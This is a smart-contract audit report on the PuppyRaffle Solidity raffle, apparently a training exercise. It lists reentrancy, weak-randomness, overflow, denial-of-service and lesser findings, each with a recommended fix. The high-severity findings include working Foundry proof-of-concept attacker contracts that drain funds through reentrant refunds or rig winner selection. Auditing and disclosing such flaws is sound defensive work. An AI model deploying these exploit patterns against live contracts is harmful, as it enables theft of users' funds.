

Protocol Puppy Raffle Audit Report

Version 1.0

Protocol Audit Report

Paolina Petkova

Jan 14, 2024

Prepared by: Paolina Petkova

• Lead Auditors: Paolina Petkova

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Reentrancy attack in PuppyRaffle::refund allows entrant to drain raffle balance
 - * [H-2] Weak randomness in PuppyRaffle::selectWinner allows to influence or predict the winner and influence or predict the winning puppy
 - * [H-3] Integer overflow of PuppyRaffle::totalFees loses fees

- Medium

- * [M-1] Looping through players array to check for duplictes in PuppyRaffle:: enterRaffle is a potential Denial of Service (DoS), incrementing gas costs for future entrants
- * [M-2] Unsafe cast of PuppyRaffle:: fee loses fees
- * [M-3] Smart contract wallets without receive or fallback function will block the start of a new contest

- Low

- * [L-1] PuppyRaffle::getActivePlayerIndex function returns 0 for non-existing players and for players at index 0, causing the players at index 0 think they incorrectly have not entered the raffle
- * [L-2] Mishandling ETH, could cause difficulty to withdraw fees if there are players

- Gas

- * [G-1] Unchanged state variables should be declared constant or immutable
- * [G-2] Storage variables in a loop should be cached
- * [G-3] Checking for empty players array will save some gas for emit an event
- Informational/None-Crits
 - * [I-1]: Solidity pragma should be specific, not wide
 - * [I-2] Using an outdated version of Solidity is not recommended
 - * [I-3] Missing checks for address (0) when assigning values to address state variables
 - * [I-4] PuppyRaffle::selectWinner does not follow CEI, which is not the best practice
 - * [I-5] It is better to use address (this).balance instead of calculating it
 - * [I-6] Magic numbers usage is not a good practise (code readibility)
 - * [I-7] State changes are missing events
 - * [I-8] PuppyRaffle::_isActivePlayer is never used and should be removed
 - * [I-9] Code readibility
 - * [I-10] Event is missing indexed fields

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- Call the enterRaffle function with the following parameters:
 - address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

- Duplicate addresses are not allowed
- Users are allowed to get a refund of their ticket & value if they call the refund function
- Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Paolina makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by her is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	Н	H/M	М
Likelihood	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash:

```
1 22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

Protocol Audit Report

```
1 ./src/
2 |_ PuppyRaffle.sol
```

Roles

- Owner Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
- Player Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

The audit went great, I spent a couple of days on reading, finding and documenting all the findings. I learned a lot of new things while auditing this protocol.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	2
Gas	3
Info	10
Total	21

Findings

High

[H-1] Reentrancy attack in PuppyRaffle::refund allows entrant to drain raffle balance

Description:

In PuppyRaffle: : refund function there is a reentrancy issue. The CEI (Check Effect Interaction) pattern is not followed which is opening a malicios door for stealing all the funds.

In the PuppyRaffle::refund function, we make an external call to the msg.sender address and only after making this call we update the PuppyRaffle::players array.

```
function refund(uint256 playerIndex) public {
           address playerAddress = players[playerIndex];
2
3
           // @audit CHECK
           require(playerAddress == msg.sender, "PuppyRaffle: Only the
4
              player can refund");
           require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded, or is not active");
6
           // @audit INTERACTION
7 @>
           payable(msg.sender).sendValue(entranceFee);
           // @audit EFFECT (state change) (needs to be between CHECK and
8
              INTERACTION)
           players[playerIndex] = address(0);
9 a>
10
           emit RaffleRefunded(playerAddress);
11
```

A player who has entered the raffle could have fallback/receive function that calls the PuppyRaffle::refund function again and claim another refund. They could continue the cycle till the contact balance is drained.

Impact:

All fees paid by raffle entrants could be stolen by the malicious participant. The attacker can call PuppyRaffle: refund function again and again in their receive and fallback functions which can lead to stealing all the money before the state of the funds is updated.

Proof of Concept:

We can prove that as we create an ReentrancyAttacker contract which will call PuppyRaffle : refund function in its receive and fallback functions. We can create a test where the ReentrancyAttacker will enter the raffle and right after that will refund which will lead to ReentrancyAttacker stealing all the money of PuppyRaffle.

- 1. User enters the raffle.
- 2. Attacker sets up a contract with fallback/receive function that calls PuppyRaffle:: refund.
- 3. Attacker enters the raffle.
- 4. Attacker calls PuppyRaffle::refund from their attack contract, draining the contract balance.

PoC

Paste the following into PuppyRaffleTest.t.sol:

```
function testReentrancyRefund() public {
2
           address[] memory players = new address[](4);
3
           players[0] = player0ne;
4
           players[1] = playerTwo;
5
           players[2] = playerThree;
6
           players[3] = playerFour;
7
           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9
           ReentrancyAttacker attackerContract = new ReentrancyAttacker(
               puppyRaffle);
10
           address attackUser = makeAddr("attackUser");
           vm.deal(attackUser, 1 ether);
11
12
13
           uint256 startingAttackerBalance = address(attackerContract).
           uint256 startingContractBalance = address(puppyRaffle).balance;
14
15
           vm.prank(attackUser);
16
17
           attackerContract.attack{value: entranceFee}();
18
19
           console.log("Starting attacker contract balance: ",
               startingAttackerBalance);
           console.log("Starting puppyRaffle contract balance: ",
20
               startingContractBalance);
21
           console.log("Ending attacker contract balance: ", address(
               attackerContract).balance);
           console.log("Ending puppyRaffle contract balance: ", address(
               puppyRaffle).balance);
       }
```

And the following contract as well:

```
1 contract ReentrancyAttacker {
       PuppyRaffle puppyRaffle;
3
       uint256 entranceFee;
4
       uint256 attackerIndex;
5
6
       constructor (PuppyRaffle _puppyRaffle) {
           puppyRaffle = _puppyRaffle;
7
8
           entranceFee = puppyRaffle.entranceFee();
9
       }
10
11
        function attack() external payable {
12
           address[] memory players = new address[](1);
13
           players[0] = address(this);
14
           puppyRaffle.enterRaffle{value: entranceFee}(players);
15
           attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
16
```

```
17
            puppyRaffle.refund(attackerIndex);
       }
18
19
        function stealMoney() internal {
            if (address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
22
23
            }
24
       }
25
26
       receive() external payable {
27
            stealMoney();
28
29
        fallback() external payable {
31
            stealMoney();
32
       }
    }
```

Recommended Mitigation:

There are a few recommendations:

1. Follow correctly the CEI (Check Effect Interaction) pattern:

```
function refund(uint256 playerIndex) public {
1
2
           address playerAddress = players[playerIndex];
           // @audit CHECK
3
           require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
           require(playerAddress != address(0), "PuppyRaffle: Player
5
              already refunded, or is not active");
           // @audit EFFECT (state change)
6 +
7 +
           players[playerIndex] = address(0);
8 +
           emit RaffleRefunded(playerAddress);
9
           // @audit INTERACTION
10
           payable(msg.sender).sendValue(entranceFee);
           players[playerIndex] = address(0);
11 -
            mit RaffleRefunded(playerAddress);
12 -
```

2. Lock the function to disable entering the function more than once:

```
1 + bool locked = false;
2    function refund(uint256 playerIndex) public {
3 +    if (locked) revert();
4 +    locked = true;
5
6    address playerAddress = players[playerIndex];
7    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
```

 Using OpenZeppelin NonReentrant modifier -> https://docs.openzeppelin.com/contracts/2.x/api/utils#Reentranc nonReentrant-

[H-2] Weak randomness in PuppyRaffle::selectWinner allows to influence or predict the winner and influence or predict the winning puppy

Description:

In PuppyRaffle::selectWinner the winnerIndex and rarety are easily predictable because for the randomness generation is used a hash of on-chain data (msg.sender, block.timestamp, block.difficulty):

The attacker can calculate the winner index by itself and manipulate the select winner process as well as select NFT process, thats why predictable number is not good random number.

Note: This additionally means users could front-run this function and call cann refund if they see they are not the winner.

Impact:

A malicious actor could game the PuppyRaffle and receive all the funds and selecting the rarest NFT. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept:

The Attacker will find a winnerIndex which will be the same as its future possition in the players array. Then will enter the array with a couple of extra players and call PuppyRaffle::selectWinner which is gonna select the Attacker index.

PoC The block bellow should be added to PuppyRaffleTest.t.sol:

```
contract PuppyRaffleTest is Test {
2
       function testWeakRandomness() public {
3
           address[] memory players = new address[](4);
4
5
           players[0] = player0ne;
6
           players[1] = playerTwo;
           players[2] = playerThree;
8
           players[3] = playerFour;
9
           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
10
11
           WeakRandomnessAttack attackerContract = new
               WeakRandomnessAttack(address(puppyRaffle));
12
           address attackUser = makeAddr("attackUser");
           vm.deal(attackUser, 1 ether);
13
14
15
           vm.prank(attackUser);
           attackerContract.attackRandomness();
       }
17
18 }
19
20 contract WeakRandomnessAttack {
21
       PuppyRaffle raffle;
22
23
       constructor(address puppy) {
24
            raffle = PuppyRaffle(puppy);
25
       }
26
27
       function attackRandomness() public {
28
           uint256 playersLength = 4; // players[0], players[1], players
               [2], players[3], the 4th one will be the attacker
29
           uint256 winnerIndex;
31
           uint256 toAdd = playersLength;
32
           while (true) {
               winnerIndex =
34
                    uint256(
                        keccak256(
                            abi.encodePacked(
                                address(this),
38
                                block.timestamp,
                                block.difficulty
40
                            )
41
                        )
42
                    ) %
43
                    toAdd;
44
                console.log("Winner index: ", winnerIndex);
45
46
                console.log("To add: ", toAdd);
47
                if (winnerIndex == playersLength) break;
48
```

```
49
                ++toAdd;
50
            }
51
            uint256 toLoop = toAdd - playersLength;
53
            address[] memory playersToAdd = new address[](toLoop);
54
            playersToAdd[0] = address(this);
            for (uint256 i = 1; i < toLoop; ++i) {</pre>
57
                playersToAdd[i] = address(i + 100);
58
            }
59
            uint256 valueToSend = 1e18 * toLoop;
            raffle.enterRaffle{value: valueToSend}(playersToAdd);
61
            raffle.selectWinner();
62
63
       }
64
65
       receive() external payable {}
       function on ERC721Received(
67
68
           address operator,
69
           address from,
           uint256 tokenId,
71
           bytes calldata data
72
       ) public returns (bytes4) {
73
           return this.onERC721Received.selector;
74
75 }
```

Recommended Mitigation:

I would recommend Chainlink VRF to be used for generating random number to select winner -> https://docs.chain.link/vrf

[H-3] Integer overflow of PuppyRaffle::totalFees loses fees

Description:

In Solidity versions prior to 0.8.0 integers were subject to integer overflows.

Impact:

In PuppyRaffle::selectWinner, totalFees are accumulated for the feeAddress to collect later in PuppyRaffle::withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permenantly stuck in the contract.

Proof of Concept:

- 1. We conclude a raffle of 4 players.
- 2. Then we have 89 players enter a new raffle and conclude the raffle.
- 3. and totalFees will be:

4. you will not be able to withdraw, due to the line in PuppyRaffle::withdrawFees:

Althought you could use the selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much balance in the contract that the above require will be impossible to hit.

PoC.

```
function testSelectWinnerOverflowIssue() public {
            address[] memory players = new address[](4);
3
           for (uint256 i = 0; i < players.length; i++) {</pre>
                players[i] = address(i+1);
4
5
6
           puppyRaffle.enterRaffle{value: entranceFee * players.length}(
               players);
7
           vm.warp(block.timestamp + duration + 1);
8
           vm.roll(block.number + 1);
9
           console.log(puppyRaffle.totalFees());
11
12
           puppyRaffle.selectWinner();
13
14
           console.log(puppyRaffle.totalFees());
15
16
           address[] memory players2 = new address[](89);
17
            for (uint256 i = 0; i < players2.length; i++) {</pre>
18
                players2[i] = address(i+1);
```

```
puppyRaffle.enterRaffle{value: entranceFee * players2.length}(
               players2);
           vm.warp(block.timestamp + duration + 1);
21
           vm.roll(block.number + 1);
22
24
           console.log(puppyRaffle.totalFees());
25
26
           puppyRaffle.selectWinner();
27
28
           console.log(puppyRaffle.totalFees());
29
       }
```

Recommended Mitigation:

There are a few possible mitigations.

- 1. Use a newer version of solidity, and a uint256 instead of uint64 for PuppyRaffle:: totalFees.
- 2. You could also use the SafeMath library of OpenZeppelin for version 0.7.6 of solidity, however you would still have hard time with the uint64 type if too many fees are collected.
- 3. Remove the balance check of PuppyRaffle::withdrawFees:

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplictes in PuppyRaffle::enterRaffle is a potential Denial of Service (DoS), incrementing gas costs for future entrants

Description:

PuppyRaffle::enterRaffle loops through players array to check for duplicates. However the longer the PuppyRaffle::players array is, the more checks the new player will have to make. This means gas costs for users who enter right when the raffle starts will be dramatically lower than those who entered later. Every additional address in the players array, is an additional check the loop will have to make.

```
// @audit DoS - too higher gas cost can discourage people from
entering the raffle

@> for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {</pre>
```

```
require(players[i] != players[j], "PuppyRaffle:

Duplicate player");

}

}
```

Impact:

The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering and causing a rash at the start of the raffle to be the first entrants in the queue.

An attacker might make PuppyRaffle: players array so big, that no once else enters, guaranteeing themselves to win.

Proof of Concept:

If we have 2 sets of 100 players, the gas costs will be as such: - 1st 100 players \sim 6252050 gas - 2nd 100 players \sim 18068133 gas

This is 3x times more expensive for the second 100 players.

PoC Place the following test into PuppyRaffle.t.sol.

```
function testDoS() public {
1
2
           vm.txGasPrice(1);
           uint256 numberOfPlayers = 100;
3
4
           address[] memory players = new address[](numberOfPlayers);
            for (uint256 i = 0; i < numberOfPlayers; i++) {</pre>
                players[i] = address(i);
6
7
           }
           uint256 gasStart1 = gasleft();
8
9
            puppyRaffle.enterRaffle{value: entranceFee * players.length}(
               players);
10
           uint256 gasCost1 = (gasStart1 - gasleft()) * tx.gasprice;
           address[] memory playersTwo = new address[](numberOfPlayers);
12
13
           for (uint256 i = 0; i < numberOfPlayers; i++) {</pre>
14
                playersTwo[i] = address(i + numberOfPlayers);
15
16
           uint256 gasStart2 = gasleft();
            puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
17
               }(playersTwo);
           uint256 gasCost2 = (gasStart2 - gasleft()) * tx.gasprice;
18
19
20
           console.log(gasCost1);
           console.log(gasCost2);
           assert(gasCost1 < gasCost2);</pre>
24
       }
```

Recommended Mitigation:

There are a few recomendations. 1. Consider allowing duplicates. Users can make new wallet addresses anytime, so a duplicate does not prevent the same person from entering multiple times, only the same wallet address. 2. Consider using a mapping to check for duplicates. This will allow a contant time lookup of whether a user has already entered.

```
mapping(address => uint256) public addressRaffleId;
       uint256 public raffleId = 0;
3
       function enterRaffle(address[] memory newPlayers) public payable {
4
5
            require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
           for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
6
                players.push(newPlayers[i]);
7
8 +
                addressRaffleId[newPlayers[i]] = raffleId;
9
           }
           // Check for duplicates
12
           for (uint256 i = 0; i < players.length - 1; i++) {</pre>
                for (uint256 j = i + 1; j < players.length; j++) {</pre>
13
14 -
                    require(players[i] != players[j], "PuppyRaffle:
      Duplicate player");
15 -
16 -
           }
17 +
           for (uint256 i = 0; i < newPlayers.length ; i++) {</pre>
                require(addressRaffleId[newPlayers[i]] != raffleId, "
18 +
       PuppyRaffle: Duplicate player");
19 +
           }
           emit RaffleEnter(newPlayers);
21
       function selectWinner() external {
23 +
           raffleId = raffleId + 1;
            require(block.timestamp >= raffleStartTime + raffleDuration, "
24
               PuppyRaffle: Raffle not over");
       }
25
```

Alternatively you could you 'OpenZeppelin's EnumerableSet Library

[M-2] Unsafe cast of PuppyRaffle::fee loses fees

Description:

In PuppyRaffle::selectWinner there is a type caset of uint256 to uint64. This is unsafe cast and if the uint256 is larger than type (uint64). max the value will be truncated.

Impact:

In PuppyRaffle::selectWinner because of the unsafe cast there is a possibility the received fees to be truncated while casting them from uint256 to uint64. The actual problem will happen

when the uint256 number is higher that the maximum value of uint64. This can cause leaving fees permenantly stuck in the contract.

Proof of Concept:

If we try casting higher uint256 number than 18446744073709551615 this will cause the value to be truncated because:

Recommended Mitigation:

There are a few possible mitigations.

- 1. Use a newer version of solidity, and a uint256 instead of uint64 for PuppyRaffle:: totalFees.
- 2. You could also use the SafeMath library of OpenZeppelin for version 0.7.6 of solidity, however you would still have hard time with the uint64 type if too many fees are collected.

[M-3] Smart contract wallets without receive or fallback function will block the start of a new contest

Description:

The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart contract wallet which rejects the payments, the lottery will not be able to restart.

Users could easily call the PuppyRaffle::selectWinner function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get really challenging.

Impact:

The PuppyRaffle::selectWinner function could revert many times, making a lottery reset difficult.

Also true winners would not get paid out and someone else could get their money.

Proof of Concept:

- 1. 10 smart contract wallets enter the lottery and none of them have a receive or fallback functions.
- 2. The lottery ends.
- 3. The PuppyRaffle::selectWinner function wouldn't work, even though the lottery is over.

Recommended Mitigation:

There are a few options to mitigate this issue:

- 1. Do not allow smart contract wallet entrants (not recommended).
- 2. Create a mapping of address -> payout amounts so winners can pull their funds out themselves with a new claimFunds function, putting the owness on the winner to claim their prize (recommended).

Pull over Push pattern

Low

[L-1] PuppyRaffle: getActivePlayerIndex function returns 0 for non-existing players and for players at index 0, causing the players at index 0 think they incorrectly have not entered the raffle

Description:

If a player is in the PuppyRaffle::players at index 0, this will return 0, but accordingly to natspec it will also return 0 if th player is not in the array.

```
function getActivePlayerIndex(address player) external view returns
1
            (uint256) {
           for (uint256 i = 0; i < players.length; i++) {</pre>
2
               if (players[i] == player) {
3
4
                    // @audit 0 is absolutely legit return value
5 @>
6
               }
7
           }
8 @>
           return 0;
9
       }
```

Impact:

A player at index 0 may incorectly think he has not enter the raffle and attempt to enter the raffle again wasting gas.

Proof of Concept:

We can enter the raffle with one player and try to get its index which will be 0, this will cause the player to think he has not entered the raffle.

PoC

To prove that you can add the following test to PuppyRaffleTest.t.sol file:

Recommended Mitigation:

Recommendations:

- 1. The function to revert if the player is not in the array instead of returning 0.
- 2. Return a non positive value for non active player, for example -1.

[L-2] Mishandling ETH, could cause difficulty to withdraw fees if there are players

Description:

In PuppyRaffle::withdrawFees function before transfering fees to the feeAddress there is a requirement which can make withdrawing fees very difficult if there are active players. This is definitelly mishandling ETH because in very specific cases the withdrawing fees will be successful.

The requirement which is causing this issue is checking if the address balance (total collected amount by the protocol) is equals to totalFees (20% of the total amount):

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Impact:

The feeAddress will hardly be able to withdraw the fees.

Proof of Concept:

Protocol Audit Report

- 1. 10 users enter the raffle
- 2. total amount in the protocol is -> 10 * entranceFee
- 3. try to withdraw fees -> (10 * entranceFee) == ((10 * entranceFee * 20) / 100)
- 4. will not be able to withdraw the fees

Recommended Mitigation:

Instead of checking for equality try to check if:

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
2 + require(address(this).balance >= uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from sorage is much more expensive than reading from constant or immutable variable.

```
Instances: - PuppyRaffle::raffleDuration should be immutable - PuppyRaffle
::commonImageUri should be constant - PuppyRaffle::rareImageUri should be
constant-PuppyRaffle::legendaryImageUri should be constant
```

[G-2] Storage variables in a loop should be cached

Every time you call players.length you read from storage, as opposed to memory which is more gas efficient.

```
1 +
       uint256 playersLength = players.length;
       for (uint256 i = 0; i < players.length - 1; i++) {</pre>
          for (uint256 j = i + 1; j < players.length; j++) {</pre>
3 -
       for (uint256 i = 0; i < playersLength - 1; i++) {</pre>
4 +
5 +
           for (uint256 j = i + 1; j < playersLength; j++) {</pre>
               require(players[i] != players[j], "PuppyRaffle: Duplicate
6
                   player");
7
          }
8
       }
```

[G-3] Checking for empty players array will save some gas for emit an event

In PuppyRaffle::enterRaffle function may be added a requirement the array of new players to not be empty, in this case we can skip emiting event with empty users list which is gonna save some

gas.

```
function enterRaffle(address[] memory newPlayers) public payable {
           require(newPlayers.length > 0, "PuppyRaffle: players array
               should have at least one player.");
            require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
            for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
4
5
                players.push(newPlayers[i]);
6
            for (uint256 i = 0; i < players.length - 1; i++) {</pre>
                for (uint256 j = i + 1; j < players.length; j++) {</pre>
8
                    require(players[i] != players[j], "PuppyRaffle:
                       Duplicate player");
                }
10
11
           }
12
           emit RaffleEnter(newPlayers);
13
       }
```

Informational/None-Crits

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ^0.8.0; use pragma solidity 0.8.0;

• Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

Description

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with any of the following Solidity versions:

0.8.18

The recommendations take into account:

• Risks related to recent releases

- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Missing checks for address (0) when assigning values to address state variables

Assigning values to address state variables without checking for address (0).

• Found in src/PuppyRaffle.sol Line: 63

```
feeAddress = _feeAddress;
```

• Found in src/PuppyRaffle.sol Line: 158

```
previousWinner = winner;
```

• Found in src/PuppyRaffle.sol Line: 178

```
feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner does not follow CEI, which is not the best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 - (bool success,) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
3    _safeMint(winner, tokenId);
4 + (bool success,) = winner.call{value: prizePool}("");
5 + require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] It is better to use address (this). balance instead of calculating it

```
1 - uint256 totalAmountCollected = players.length * entranceFee;
2 + uint256 totalAmountCollected = paddress(this).balance;
```

[I-6] Magic numbers usage is not a good practise (code readibility)

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

[I-7] State changes are missing events

When changing state we should always report that by events. Event nee to be added to PuppyRaffle ::selectWinner.

[I-8] PuppyRaffle::_isActivePlayer is never used and should be removed

Internal function which are not used in the protocol should be removed because it is a waste of gas.

[I-9] Code readibility

For better code readibility variable names may refer to the way variables are stored - immutable or storage:

```
1 - uint256 public immutable entranceFee;
2 - address[] public players;
3 + uint256 public immutable i_entranceFee;
4 + address[] public s_players;
```

[I-10] Event is missing indexed fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

• Found in src/PuppyRaffle.sol Line: 54

```
1 event RaffleEnter(address[] newPlayers);
```

• Found in src/PuppyRaffle.sol Line: 55

```
event RaffleRefunded(address player);
```

• Found in src/PuppyRaffle.sol Line: 56

```
event FeeAddressChanged(address newFeeAddress);
```